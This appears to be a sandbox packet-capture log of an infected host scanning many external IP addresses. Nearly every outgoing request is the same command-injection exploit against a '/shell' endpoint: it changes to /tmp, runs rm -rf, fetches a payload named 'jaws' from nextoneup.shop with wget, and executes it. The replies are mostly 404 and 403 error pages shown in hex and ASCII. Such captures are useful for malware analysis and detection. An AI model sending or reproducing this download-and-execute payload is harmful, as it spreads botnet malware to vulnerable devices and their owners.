Apr 14, 2024 04:00:14.959080935 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:00:14 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3>

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.13	60510	184.85.93.3	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.603564024 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.924494982 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:14 GMT Date: Sun, 14 Apr 2024 02:00:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 35 34 64 64 63 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 34 26 23 34 36 3b 33 61 36 30 38 31 37 30 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 35 34 64 64 63 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 34 26 23 34 36 3b 33 61 36 30 38 31 37 30 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.454ddc17.1713060014.3a608170<P>https://errors.edgesuite.net/9.454ddc17.1713060014.3a608170</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.13	43162	83.66.226.69	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.642257929 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.13	35144	190.167.7.136	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:14.983481884 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:15.241033077 CEST	94	IN	HTTP/1.1 404 Not Found Content-Length: 0 Date: Sun, 14 Apr 2024 02:00:16 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.13	49432	81.169.194.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.057677984 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:15.496536016 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 Date: Sun, 14 Apr 2024 02:00:15 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed,
Apr 14, 2024 04:00:15.496572018 CEST	118	IN	Data Raw: 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f Data Ascii: had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.13	55122	219.231.168.103	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.103102922 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:15.477030039 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:15 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.13	43464	143.204.37.147	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.435477972 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:15.637474060 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:15 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.13	47118	178.242.138.104	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.446161032 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.098773956 CEST	81	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html Content-Length: 28
Apr 14, 2024 04:00:16.099013090 CEST	2	IN	Data Raw: 0d 0a Data Ascii:
Apr 14, 2024 04:00:16.119998932 CEST	28	IN	Data Raw: 46 61 69 6c 65 64 20 74 6f 20 72 65 61 64 20 65 78 69 73 74 69 6e 67 20 66 69 6c 65 Data Ascii: Failed to read existing file

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.13	46244	52.7.20.164	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.468384981 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.13	36266	72.8.195.236	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.470993996 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:15.810378075 CEST	443	IN	HTTP/1.1 404 Not Found Server: micro_httpd Cache-Control: no-cache Date: Sat, 13 Apr 2024 19:00:14 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 75 74 69 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 6f 6e 4c 6f 61 64 3d 27 6c 6f 67 6f 75 74 32 28 29 27 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE><script language="javascript" src="util.js"></script></HEAD><BODY onLoad='logout2()' BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.13	46530	159.203.182.204	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.478883982 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.13	48488	69.168.3.9	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.488204002 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.776320934 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:18.312460899 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:21.608318090 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.752387047 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.040416956 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:05.640382051 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.792165995 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.13	40432	112.90.95.147	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:15.723723888 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:16.063184023 CEST	664	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Sun, 14 Apr 2024 02:00:15 GMT Content-Type: text/html Connection: keep-alive Content-Length: 435 via: CHN-GDdongguan-CUCC3-CACHE9[1] X-CCDN-FORBID-CODE: 040001 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0a 3c 70 3e 44 61 74 65 3a 20 32 30 32 34 2f 30 34 2f 31 34 20 31 30 3a 30 30 3a 31 35 3c 2f 70 3e 0d 0a 3c 70 3e 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 